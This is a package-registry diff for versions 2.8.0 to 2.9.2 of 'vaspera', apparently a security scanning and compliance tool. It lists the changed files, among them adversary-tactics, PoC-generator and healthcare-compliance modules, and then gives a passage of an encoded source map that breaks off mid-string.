vaspera 2.8.0 → 2.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +109 -7
- package/README.md +111 -7
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js +369 -0
- package/dist/__tests__/agents/adversary/tactics/api.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts +5 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js +409 -0
- package/dist/__tests__/agents/adversary/tactics/llm.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js +74 -0
- package/dist/__tests__/agents/adversary/tactics/registry.test.js.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts +7 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.d.ts.map +1 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js +374 -0
- package/dist/__tests__/agents/adversary/tactics/web-app.test.js.map +1 -0
- package/dist/__tests__/compliance-bundle.test.d.ts +9 -0
- package/dist/__tests__/compliance-bundle.test.d.ts.map +1 -0
- package/dist/__tests__/compliance-bundle.test.js +344 -0
- package/dist/__tests__/compliance-bundle.test.js.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts +9 -0
- package/dist/__tests__/healthcare-compliance.test.d.ts.map +1 -0
- package/dist/__tests__/healthcare-compliance.test.js +233 -0
- package/dist/__tests__/healthcare-compliance.test.js.map +1 -0
- package/dist/action/diff-mode.d.ts +124 -8
- package/dist/action/diff-mode.d.ts.map +1 -1
- package/dist/action/diff-mode.js +384 -65
- package/dist/action/diff-mode.js.map +1 -1
- package/dist/action/diff-mode.test.js +3 -3
- package/dist/action/diff-mode.test.js.map +1 -1
- package/dist/action/pr-comment.test.js +1 -0
- package/dist/action/pr-comment.test.js.map +1 -1
- package/dist/action/sarif-upload.test.js +1 -0
- package/dist/action/sarif-upload.test.js.map +1 -1
- package/dist/agents/adversary/config.d.ts +25 -4
- package/dist/agents/adversary/config.d.ts.map +1 -1
- package/dist/agents/adversary/config.js +38 -8
- package/dist/agents/adversary/config.js.map +1 -1
- package/dist/agents/adversary/index.d.ts +7 -0
- package/dist/agents/adversary/index.d.ts.map +1 -1
- package/dist/agents/adversary/index.js +83 -1
- package/dist/agents/adversary/index.js.map +1 -1
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts +108 -0
- package/dist/agents/adversary/reporting/compliance-mapper.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js +391 -0
- package/dist/agents/adversary/reporting/compliance-mapper.js.map +1 -0
- package/dist/agents/adversary/reporting/index.d.ts +10 -0
- package/dist/agents/adversary/reporting/index.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/index.js +10 -0
- package/dist/agents/adversary/reporting/index.js.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts +44 -0
- package/dist/agents/adversary/reporting/poc-generator.d.ts.map +1 -0
- package/dist/agents/adversary/reporting/poc-generator.js +308 -0
- package/dist/agents/adversary/reporting/poc-generator.js.map +1 -0
- package/dist/agents/adversary/tactics/api.d.ts +13 -0
- package/dist/agents/adversary/tactics/api.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/api.js +815 -0
- package/dist/agents/adversary/tactics/api.js.map +1 -0
- package/dist/agents/adversary/tactics/auth.d.ts +13 -0
- package/dist/agents/adversary/tactics/auth.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/auth.js +676 -0
- package/dist/agents/adversary/tactics/auth.js.map +1 -0
- package/dist/agents/adversary/tactics/index.d.ts +129 -0
- package/dist/agents/adversary/tactics/index.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/index.js +199 -0
- package/dist/agents/adversary/tactics/index.js.map +1 -0
- package/dist/agents/adversary/tactics/infra.d.ts +13 -0
- package/dist/agents/adversary/tactics/infra.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/infra.js +827 -0
- package/dist/agents/adversary/tactics/infra.js.map +1 -0
- package/dist/agents/adversary/tactics/injection.d.ts +12 -0
- package/dist/agents/adversary/tactics/injection.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/injection.js +549 -0
- package/dist/agents/adversary/tactics/injection.js.map +1 -0
- package/dist/agents/adversary/tactics/llm.d.ts +13 -0
- package/dist/agents/adversary/tactics/llm.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/llm.js +767 -0
- package/dist/agents/adversary/tactics/llm.js.map +1 -0
- package/dist/agents/adversary/tactics/web-app.d.ts +13 -0
- package/dist/agents/adversary/tactics/web-app.d.ts.map +1 -0
- package/dist/agents/adversary/tactics/web-app.js +717 -0
- package/dist/agents/adversary/tactics/web-app.js.map +1 -0
- package/dist/agents/adversary/types.d.ts +66 -10
- package/dist/agents/adversary/types.d.ts.map +1 -1
- package/dist/agents/zero-day-hunter.d.ts +1 -1
- package/dist/agents/zero-day-hunter.d.ts.map +1 -1
- package/dist/analysis/data-flow.d.ts +154 -0
- package/dist/analysis/data-flow.d.ts.map +1 -0
- package/dist/analysis/data-flow.js +393 -0
- package/dist/analysis/data-flow.js.map +1 -0
- package/dist/analysis/index.d.ts +9 -0
- package/dist/analysis/index.d.ts.map +1 -0
- package/dist/analysis/index.js +9 -0
- package/dist/analysis/index.js.map +1 -0
- package/dist/badge-service/index.d.ts +144 -0
- package/dist/badge-service/index.d.ts.map +1 -0
- package/dist/badge-service/index.js +206 -0
- package/dist/badge-service/index.js.map +1 -0
- package/dist/certification/types.d.ts +1 -1
- package/dist/certification/types.d.ts.map +1 -1
- package/dist/certification/types.js.map +1 -1
- package/dist/commands/certification/certify.d.ts.map +1 -1
- package/dist/commands/certification/certify.js +18 -4
- package/dist/commands/certification/certify.js.map +1 -1
- package/dist/compliance/attestation.d.ts +39 -0
- package/dist/compliance/attestation.d.ts.map +1 -0
- package/dist/compliance/attestation.js +364 -0
- package/dist/compliance/attestation.js.map +1 -0
- package/dist/compliance/cfr42-part2.d.ts +42 -0
- package/dist/compliance/cfr42-part2.d.ts.map +1 -0
- package/dist/compliance/cfr42-part2.js +408 -0
- package/dist/compliance/cfr42-part2.js.map +1 -0
- package/dist/compliance/compliance-bundle.d.ts +100 -0
- package/dist/compliance/compliance-bundle.d.ts.map +1 -0
- package/dist/compliance/compliance-bundle.js +210 -0
- package/dist/compliance/compliance-bundle.js.map +1 -0
- package/dist/compliance/healthcare-bundle.d.ts +68 -0
- package/dist/compliance/healthcare-bundle.d.ts.map +1 -0
- package/dist/compliance/healthcare-bundle.js +104 -0
- package/dist/compliance/healthcare-bundle.js.map +1 -0
- package/dist/compliance/hipaa.d.ts.map +1 -1
- package/dist/compliance/hipaa.js +14 -11
- package/dist/compliance/hipaa.js.map +1 -1
- package/dist/compliance/index.d.ts +10 -2
- package/dist/compliance/index.d.ts.map +1 -1
- package/dist/compliance/index.js +9 -3
- package/dist/compliance/index.js.map +1 -1
- package/dist/compliance/mapper.d.ts.map +1 -1
- package/dist/compliance/mapper.js +3 -17
- package/dist/compliance/mapper.js.map +1 -1
- package/dist/compliance/nist-800-53.d.ts +22 -6
- package/dist/compliance/nist-800-53.d.ts.map +1 -1
- package/dist/compliance/nist-800-53.js +264 -272
- package/dist/compliance/nist-800-53.js.map +1 -1
- package/dist/compliance/report.d.ts +31 -2
- package/dist/compliance/report.d.ts.map +1 -1
- package/dist/compliance/report.js +255 -4
- package/dist/compliance/report.js.map +1 -1
- package/dist/compliance/types.d.ts +1 -1
- package/dist/compliance/types.d.ts.map +1 -1
- package/dist/config/flags.d.ts +12 -12
- package/dist/cost/index.d.ts +1 -1
- package/dist/cost/index.d.ts.map +1 -1
- package/dist/cost/index.js +1 -1
- package/dist/cost/index.js.map +1 -1
- package/dist/cost/tracker.d.ts +64 -0
- package/dist/cost/tracker.d.ts.map +1 -1
- package/dist/cost/tracker.js +165 -0
- package/dist/cost/tracker.js.map +1 -1
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts +28 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js +90 -0
- package/dist/eval/fixtures/healthcare/audit-gaps.js.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts +31 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js +61 -0
- package/dist/eval/fixtures/healthcare/consent-bypass.js.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts +24 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.d.ts.map +1 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js +41 -0
- package/dist/eval/fixtures/healthcare/phi-in-logs.js.map +1 -0
- package/dist/evidence/collector.d.ts +21 -0
- package/dist/evidence/collector.d.ts.map +1 -0
- package/dist/evidence/collector.js +340 -0
- package/dist/evidence/collector.js.map +1 -0
- package/dist/evidence/index.d.ts +11 -0
- package/dist/evidence/index.d.ts.map +1 -0
- package/dist/evidence/index.js +12 -0
- package/dist/evidence/index.js.map +1 -0
- package/dist/evidence/store.d.ts +39 -0
- package/dist/evidence/store.d.ts.map +1 -0
- package/dist/evidence/store.js +173 -0
- package/dist/evidence/store.js.map +1 -0
- package/dist/evidence/types.d.ts +175 -0
- package/dist/evidence/types.d.ts.map +1 -0
- package/dist/evidence/types.js +9 -0
- package/dist/evidence/types.js.map +1 -0
- package/dist/exporters/checkmarx.d.ts +18 -0
- package/dist/exporters/checkmarx.d.ts.map +1 -0
- package/dist/exporters/checkmarx.js +203 -0
- package/dist/exporters/checkmarx.js.map +1 -0
- package/dist/exporters/index.d.ts +22 -0
- package/dist/exporters/index.d.ts.map +1 -0
- package/dist/exporters/index.js +41 -0
- package/dist/exporters/index.js.map +1 -0
- package/dist/exporters/snyk.d.ts +18 -0
- package/dist/exporters/snyk.d.ts.map +1 -0
- package/dist/exporters/snyk.js +119 -0
- package/dist/exporters/snyk.js.map +1 -0
- package/dist/exporters/sonarqube.d.ts +18 -0
- package/dist/exporters/sonarqube.d.ts.map +1 -0
- package/dist/exporters/sonarqube.js +125 -0
- package/dist/exporters/sonarqube.js.map +1 -0
- package/dist/exporters/types.d.ts +190 -0
- package/dist/exporters/types.d.ts.map +1 -0
- package/dist/exporters/types.js +9 -0
- package/dist/exporters/types.js.map +1 -0
- package/dist/frontier/index.d.ts +12 -0
- package/dist/frontier/index.d.ts.map +1 -0
- package/dist/frontier/index.js +12 -0
- package/dist/frontier/index.js.map +1 -0
- package/dist/frontier/orchestrator.d.ts +73 -0
- package/dist/frontier/orchestrator.d.ts.map +1 -0
- package/dist/frontier/orchestrator.js +312 -0
- package/dist/frontier/orchestrator.js.map +1 -0
- package/dist/frontier/providers/stub.d.ts +32 -0
- package/dist/frontier/providers/stub.d.ts.map +1 -0
- package/dist/frontier/providers/stub.js +66 -0
- package/dist/frontier/providers/stub.js.map +1 -0
- package/dist/frontier/types.d.ts +318 -0
- package/dist/frontier/types.d.ts.map +1 -0
- package/dist/frontier/types.js +27 -0
- package/dist/frontier/types.js.map +1 -0
- package/dist/history/index.d.ts +13 -0
- package/dist/history/index.d.ts.map +1 -0
- package/dist/history/index.js +15 -0
- package/dist/history/index.js.map +1 -0
- package/dist/history/store.d.ts +74 -0
- package/dist/history/store.d.ts.map +1 -0
- package/dist/history/store.js +399 -0
- package/dist/history/store.js.map +1 -0
- package/dist/history/types.d.ts +282 -0
- package/dist/history/types.d.ts.map +1 -0
- package/dist/history/types.js +41 -0
- package/dist/history/types.js.map +1 -0
- package/dist/history/verify.d.ts +44 -0
- package/dist/history/verify.d.ts.map +1 -0
- package/dist/history/verify.js +230 -0
- package/dist/history/verify.js.map +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +515 -19
- package/dist/index.js.map +1 -1
- package/dist/multimodel/index.d.ts +1 -0
- package/dist/multimodel/index.d.ts.map +1 -1
- package/dist/multimodel/index.js +2 -0
- package/dist/multimodel/index.js.map +1 -1
- package/dist/multimodel/leaderboard.d.ts +116 -0
- package/dist/multimodel/leaderboard.d.ts.map +1 -0
- package/dist/multimodel/leaderboard.js +262 -0
- package/dist/multimodel/leaderboard.js.map +1 -0
- package/dist/observability/otel.d.ts.map +1 -1
- package/dist/observability/otel.js +1 -3
- package/dist/observability/otel.js.map +1 -1
- package/dist/plugins/loader.js +1 -1
- package/dist/plugins/loader.js.map +1 -1
- package/dist/scanners/agent/agent-chain-analysis.d.ts +152 -0
- package/dist/scanners/agent/agent-chain-analysis.d.ts.map +1 -0
- package/dist/scanners/agent/agent-chain-analysis.js +438 -0
- package/dist/scanners/agent/agent-chain-analysis.js.map +1 -0
- package/dist/scanners/agent/payloads/index.d.ts +2 -1
- package/dist/scanners/agent/payloads/index.d.ts.map +1 -1
- package/dist/scanners/agent/payloads/index.js +25 -6
- package/dist/scanners/agent/payloads/index.js.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.d.ts.map +1 -1
- package/dist/scanners/agent/prompt-injection-fuzzer.js +14 -0
- package/dist/scanners/agent/prompt-injection-fuzzer.js.map +1 -1
- package/dist/scanners/agent/types.d.ts +5 -5
- package/dist/scanners/agent/types.d.ts.map +1 -1
- package/dist/scanners/agent/types.js.map +1 -1
- package/dist/scanners/cache.d.ts +156 -0
- package/dist/scanners/cache.d.ts.map +1 -0
- package/dist/scanners/cache.js +462 -0
- package/dist/scanners/cache.js.map +1 -0
- package/dist/scanners/dependencies.js +4 -4
- package/dist/scanners/dependencies.js.map +1 -1
- package/dist/scanners/gosec.d.ts.map +1 -1
- package/dist/scanners/gosec.js +47 -9
- package/dist/scanners/gosec.js.map +1 -1
- package/dist/scanners/healthcare.d.ts +29 -0
- package/dist/scanners/healthcare.d.ts.map +1 -0
- package/dist/scanners/healthcare.js +526 -0
- package/dist/scanners/healthcare.js.map +1 -0
- package/dist/scanners/index.d.ts +1 -0
- package/dist/scanners/index.d.ts.map +1 -1
- package/dist/scanners/index.js +33 -0
- package/dist/scanners/index.js.map +1 -1
- package/dist/scanners/index.test.js +6 -6
- package/dist/scanners/index.test.js.map +1 -1
- package/dist/scanners/secrets.js +4 -4
- package/dist/scanners/secrets.js.map +1 -1
- package/dist/scanners/semgrep.js +5 -5
- package/dist/scanners/semgrep.js.map +1 -1
- package/dist/scanners/types.d.ts +1 -1
- package/dist/scanners/types.d.ts.map +1 -1
- package/dist/scanners/types.js +1 -0
- package/dist/scanners/types.js.map +1 -1
- package/dist/scanners/typescript.test.js +1 -1
- package/dist/scanners/typescript.test.js.map +1 -1
- package/dist/telemetry/index.d.ts +10 -0
- package/dist/telemetry/index.d.ts.map +1 -0
- package/dist/telemetry/index.js +10 -0
- package/dist/telemetry/index.js.map +1 -0
- package/dist/telemetry/registry.d.ts +178 -0
- package/dist/telemetry/registry.d.ts.map +1 -0
- package/dist/telemetry/registry.js +297 -0
- package/dist/telemetry/registry.js.map +1 -0
- package/dist/telemetry/usage.d.ts +197 -0
- package/dist/telemetry/usage.d.ts.map +1 -0
- package/dist/telemetry/usage.js +252 -0
- package/dist/telemetry/usage.js.map +1 -0
- package/package.json +2 -6
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"infra.js","sourceRoot":"","sources":["../../../../src/agents/adversary/tactics/infra.ts"],"names":[],"mappings":"AAAA;;;;;;;;GAQG;AASH,OAAO,EACL,cAAc,EACd,iBAAiB,GAClB,MAAM,YAAY,CAAC;AAEpB,+EAA+E;AAC/E,WAAW;AACX,+EAA+E;AAE/E,MAAM,kBAAkB,GAA2B;IACjD;QACE,EAAE,EAAE,sBAAsB;QAC1B,IAAI,EAAE,sBAAsB;QAC5B,WAAW,EAAE,8DAA8D;QAC3E,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,sCAAsC;KAC9C;IACD;QACE,EAAE,EAAE,wBAAwB;QAC5B,IAAI,EAAE,kCAAkC;QACxC,WAAW,EAAE,wEAAwE;QACrF,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,+EAA+E;KACvF;IACD;QACE,EAAE,EAAE,oBAAoB;QACxB,IAAI,EAAE,oBAAoB;QAC1B,WAAW,EAAE,sCAAsC;QACnD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,wCAAwC;KAChD;IACD;QACE,EAAE,EAAE,wBAAwB;QAC5B,IAAI,EAAE,wBAAwB;QAC9B,WAAW,EAAE,0CAA0C;QACvD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,gDAAgD;KACxD;IACD;QACE,EAAE,EAAE,oBAAoB;QACxB,IAAI,EAAE,oBAAoB;QAC1B,WAAW,EAAE,sCAAsC;QACnD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,wCAAwC;KAChD;IACD;QACE,EAAE,EAAE,uBAAuB;QAC3B,IAAI,EAAE,uBAAuB;QAC7B,WAAW,EAAE,6CAA6C;QAC1D,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,6GAA6G;KACrH;IACD;QACE,EAAE,EAAE,qBAAqB;QACzB,IAAI,EAAE,uBAAuB;QAC7B,WAAW,EAAE,+DAA+D;QAC5E,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,4BAA4B;KACpC;CACF,CAAC;AAEF,MAAM,mBAAmB,GAA2B;IAClD;QACE,EAAE,EAAE,4BAA4B;QAChC,IAAI,EAAE,mCAAmC;QACzC,WAAW,EAAE,yFAAyF;QACtG,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,wHAAwH;KAChI;IACD;QACE,EAAE,EAAE,6BAA6B;QACjC,IAAI,EAAE,+BAA+B;QACrC,WAAW,EAAE,uDAAuD;QACpE,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,sEAAsE;KAC9E;IACD;QACE,EAAE,EAAE,uBAAuB;QAC3B,IAAI,EAAE,wBAAwB;QAC9B,WAAW,EAAE,wCAAwC;QACrD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,sDAAsD;KAC9D;IACD;QACE,EAAE,EAAE,gCAAgC;QACpC,IAAI,EAAE,4BAA4B;QAClC,WAAW,EAAE,0CAA0C;QACvD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,MAAM;QAChB,KAAK,EAAE,oCAAoC;KAC5C;IACD;QACE,EAAE,EAAE,iBAAiB;QACrB,IAAI,EAAE,2BAA2B;QACjC,WAAW,EAAE,wCAAwC;QACrD,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,8CAA8C;KACtD;IACD;QACE,EAAE,EAAE,yBAAyB;QAC7B,IAAI,EAAE,0BAA0B;QAChC,WAAW,EAAE,yDAAyD;QACtE,GAAG,EAAE,UAAU;QACf,QAAQ,EAAE,KAAK;QACf,KAAK,EAAE,qFAAqF;KAC7F;CACF,CAAC;AAEF,MAAM,gBAAgB,GAA2B;IAC/C;QACE,EAAE,EAAE,sBAAsB;QAC1B,IAAI,EAAE,sBAAsB;QAC5B,WAAW,EAAE,sDAAsD;QACnE,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,oGAAoG;KAC5G;IACD;QACE,EAAE,EAAE,mBAAmB;QACvB,IAAI,EAAE,0BAA0B;QAChC,WAAW,EAAE,8DAA8D;QAC3E,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,8DAA8D;KACtE;IACD;QACE,EAAE,EAAE,wBAAwB;QAC5B,IAAI,EAAE,+BAA+B;QACrC,WAAW,EAAE,oEAAoE;QACjF,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,qEAAqE;KAC7E;IACD;QACE,EAAE,EAAE,0BAA0B;QAC9B,IAAI,EAAE,0BAA0B;QAChC,WAAW,EAAE,uDAAuD;QACpE,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,UAAU;QACpB,KAAK,EAAE,kDAAkD;KAC1D;CACF,CAAC;AAEF,MAAM,iBAAiB,GAA2B;IAChD;QACE,EAAE,EAAE,mBAAmB;QACvB,IAAI,EAAE,6BAA6B;QACnC,WAAW,EAAE,iDAAiD;QAC9D,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,2CAA2C;KACnD;IACD;QACE,EAAE,EAAE,oBAAoB;QACxB,IAAI,EAAE,uCAAuC;QAC7C,WAAW,EAAE,qDAAqD;QAClE,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,kEAAkE;KAC1E;IACD;QACE,EAAE,EAAE,YAAY;QAChB,IAAI,EAAE,kBAAkB;QACxB,WAAW,EAAE,6CAA6C;QAC1D,GAAG,EAAE,UAAU;QACf,QAAQ,EAAE,KAAK;QACf,KAAK,EAAE,uEAAuE;KAC/E;CACF,CAAC;AAEF,MAAM,aAAa,GAA2B;IAC5C;QACE,EAAE,EAAE,mBAAmB;QACvB,IAAI,EAAE,gCAAgC;QACtC,WAAW,EAAE,wDAAwD;QACrE,GAAG,EAAE,SAAS;QACd,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,0DAA0D;KAClE;IACD;QACE,EAAE,EAAE,qBAAqB;QACzB,IAAI,EAAE,8BAA8B;QACpC,WAAW,EAAE,sEAAsE;QACnF,GAAG,EAAE,UAAU;QACf,QAAQ,EAAE,QAAQ;QAClB,KAAK,EAAE,0DAA0D;KAClE;CACF,CAAC;AAEF,+EAA+E;AAC/E,wBAAwB;AACxB,+EAA+E;AAE/E,MAAM,WAAW,GAAiB;IAChC,SAAS,EAAE,OAAO;IAClB,IAAI,EAAE,gBAAgB;IACtB,WAAW,EAAE,uGAAuG;IAEpH,QAAQ,EAAE;QACR,GAAG,kBAAkB;QACrB,GAAG,mBAAmB;QACtB,GAAG,gBAAgB;QACnB,GAAG,iBAAiB;QACpB,GAAG,aAAa;KACjB;IAED,KAAK,CAAC,WAAW,CAAC,IAAiB,EAAE,MAAuB;QAC1D,MAAM,QAAQ,GAAoB,EAAE,CAAC;QAErC,KAAK,MAAM,OAAO,IAAI,IAAI,CAAC,QAAQ,EAAE,CAAC;YACpC,IAAI,CAAC,OAAO,CAAC,KAAK;gBAAE,SAAS;YAE7B,oBAAoB;YACpB,OAAO,CAAC,KAAK,CAAC,SAAS,GAAG,CAAC,CAAC;YAE5B,IAAI,KAA6B,CAAC;YAClC,OAAO,CAAC,KAAK,GAAG,OAAO,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,KAAK,IAAI,EAAE,CAAC;gBAC3D,wBAAwB;gBACxB,MAAM,WAAW,GAAG,IAAI,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC,EAAE,KAAK,CAAC,KAAK,CAAC,CAAC;gBAC3D,MAAM,OAAO,GAAG,CAAC,WAAW,CAAC,KAAK,CAAC,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,GAAG,CAAC,CAAC;gBAE5D,qBAAqB;gBACrB,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,OAAO,GAAG,CAAC,CAAC,IAAI,EAAE,CAAC;gBAC3C,IAAI,WAAW,CAAC,IAAI,EAAE,IAAI,CAAC,YAAY,CAAC,EAAE,CAAC;oBACzC,SAAS;gBACX,CAAC;gBAED,6BAA6B;gBAC7B,IAAI,eAAe,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,OAAO,CAAC,EAAE,EAAE,IAAI,CAAC,EAAE,CAAC;oBAChD,SAAS;gBACX,CAAC;gBAED,MAAM,OAAO,GAAkB;oBAC7B,EAAE,EAAE,iBAAiB,CAAC,OAAO,EAAE,IAAI,CAAC,YAAY,EAAE,OAAO,EAAE,OAAO,CAAC,EAAE,CAAC;oBACtE,UAAU,EAAE,OAAO;oBACnB,SAAS,EAAE,OAAO;oBAClB,SAAS,EAAE,OAAO,CAAC,EAAE;oBACrB,IAAI,EAAE,IAAI,CAAC,YAAY;oBACvB,IAAI,EAAE,OAAO;oBACb,OAAO,EAAE,GAAG,OAAO,CAAC,IAAI,KAAK,OAAO,CAAC,WAAW,EAAE;oBAClD,QAAQ,EAAE,OAAO,CAAC,QAAQ;oBAC1B,UAAU,EAAE,mBAAmB,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,OAAO,EAAE,IAAI,CAAC;oBACxD,QAAQ,EAAE,eAAe,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC;oBACrD,MAAM,EAAE,CAAC,OAAO,CAAC,GAAG,CAAC;oBACrB,QAAQ,EAAE,WAAW,CAAC,OAAO,CAAC,EAAE,CAAC;oBACjC,YAAY,EAAE,eAAe,CAAC,OAAO,CAAC,EAAE,CAAC;iBAC1C,CAAC;gBAEF,QAAQ,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;YACzB,CAAC;QACH,CAAC;QAED,OAAO,QAAQ,CAAC;IAClB,CAAC;IAED,KAAK,CAAC,WAAW,CAAC,OAAsB;QACtC,MAAM,MAAM,GAAyC;YACnD,sBAAsB,EAAE,GAAG,EAAE,CAAC,sBAAsB,CAAC,OAAO,CAAC;YAC7D,wBAAwB,EAAE,GAAG,EAAE,CAAC,kBAAkB,CAAC,OAAO,CAAC;YAC3D,qBAAqB,EAAE,GAAG,EAAE,CAAC,eAAe,CAAC,OAAO,CAAC;YACrD,4BAA4B,EAAE,GAAG,EAAE,CAAC,UAAU,CAAC,OAAO,CAAC;YACvD,sBAAsB,EAAE,GAAG,EAAE,CAAC,mBAAmB,CAAC,OAAO,CAAC;YAC1D,wBAAwB,EAAE,GAAG,EAAE,CAAC,mBAAmB,CAAC,OAAO,CAAC;YAC5D,uBAAuB,EAAE,GAAG,EAAE,CAAC,WAAW,CAAC,OAAO,CAAC;YACnD,oBAAoB,EAAE,GAAG,EAAE,CAAC,gBAAgB,CAAC,OAAO,CAAC;YACrD,gCAAgC,EAAE,GAAG,EAAE,CAAC,iBAAiB,CAAC,OAAO,CAAC;SACnE,CAAC;QAEF,MAAM,SAAS,GAAG,MAAM,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;QAC5C,OAAO,SAAS,CAAC,CAAC,CAAC,SAAS,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC;IACxC,CAAC;IAED,oBAAoB;QAClB,OAAO;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;yCA6C8B,CAAC;IACxC,CAAC;IAED,uBAAuB;QACrB,OAAO;YACL,eAAe;YACf,iBAAiB;YACjB,iBAAiB;YACjB,uBAAuB;YACvB,wBAAwB;YACxB,gBAAgB;YAChB,iBAAiB;YACjB,kBAAkB;YAClB,WAAW;YACX,cAAc;YACd,eAAe;YACf,YAAY;YACZ,cAAc;YACd,mBAAmB;YACnB,oBAAoB;YACpB,gBAAgB;YAChB,iBAAiB;YACjB,kBAAkB;YAClB,mBAAmB;YACnB,eAAe;YACf,gBAAgB;YAChB,yBAAyB;YACzB,kBAAkB;YAClB,iBAAiB;YACjB,iBAAiB;YACjB,SAAS;SACV,CAAC;IACJ,CAAC;CACF,CAAC;AAEF,+EAA+E;AAC/E,mBAAmB;AACnB,+EAA+E;AAE/E,SAAS,WAAW,CAAC,IAAY,EAAE,QAAgB;IACjD,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;IAE5B,2BAA2B;IAC3B,IAAI,QAAQ,CAAC,QAAQ,CAAC,YAAY,CAAC;QAC/B,QAAQ,CAAC,QAAQ,CAAC,MAAM,CAAC;QACzB,QAAQ,CAAC,QAAQ,CAAC,OAAO,CAAC,EAAE,CAAC;QAC/B,OAAO,OAAO,CAAC,UAAU,CAAC,GAAG,CAAC,CAAC;IACjC,CAAC;IAED,qBAAqB;IACrB,IAAI,QAAQ,CAAC,QAAQ,CAAC,KAAK,CAAC,EAAE,CAAC;QAC7B,OAAO,OAAO,CAAC,UAAU,CAAC,GAAG,CAAC,IAAI,OAAO,CAAC,UAAU,CAAC,IAAI,CAAC,CAAC;IAC7D,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC;AAED,SAAS,eAAe,CAAC,KAAa,EAAE,SAAiB,EAAE,IAAiB;IAC1E,8BAA8B;IAC9B,IAAI,IAAI,CAAC,YAAY,CAAC,QAAQ,CAAC,SAAS,CAAC;QACrC,IAAI,CAAC,YAAY,CAAC,QAAQ,CAAC,UAAU,CAAC;QACtC,IAAI,CAAC,YAAY,CAAC,QAAQ,CAAC,QAAQ,CAAC,EAAE,CAAC;QACzC,OAAO,IAAI,CAAC;IACd,CAAC;IAED,yCAAyC;IACzC,IAAI,SAAS,CAAC,UAAU,CAAC,SAAS,CAAC,IAAI,SAAS,CAAC,QAAQ,CAAC,iBAAiB,CAAC,EAAE,CAAC;QAC7E,IAAI,IA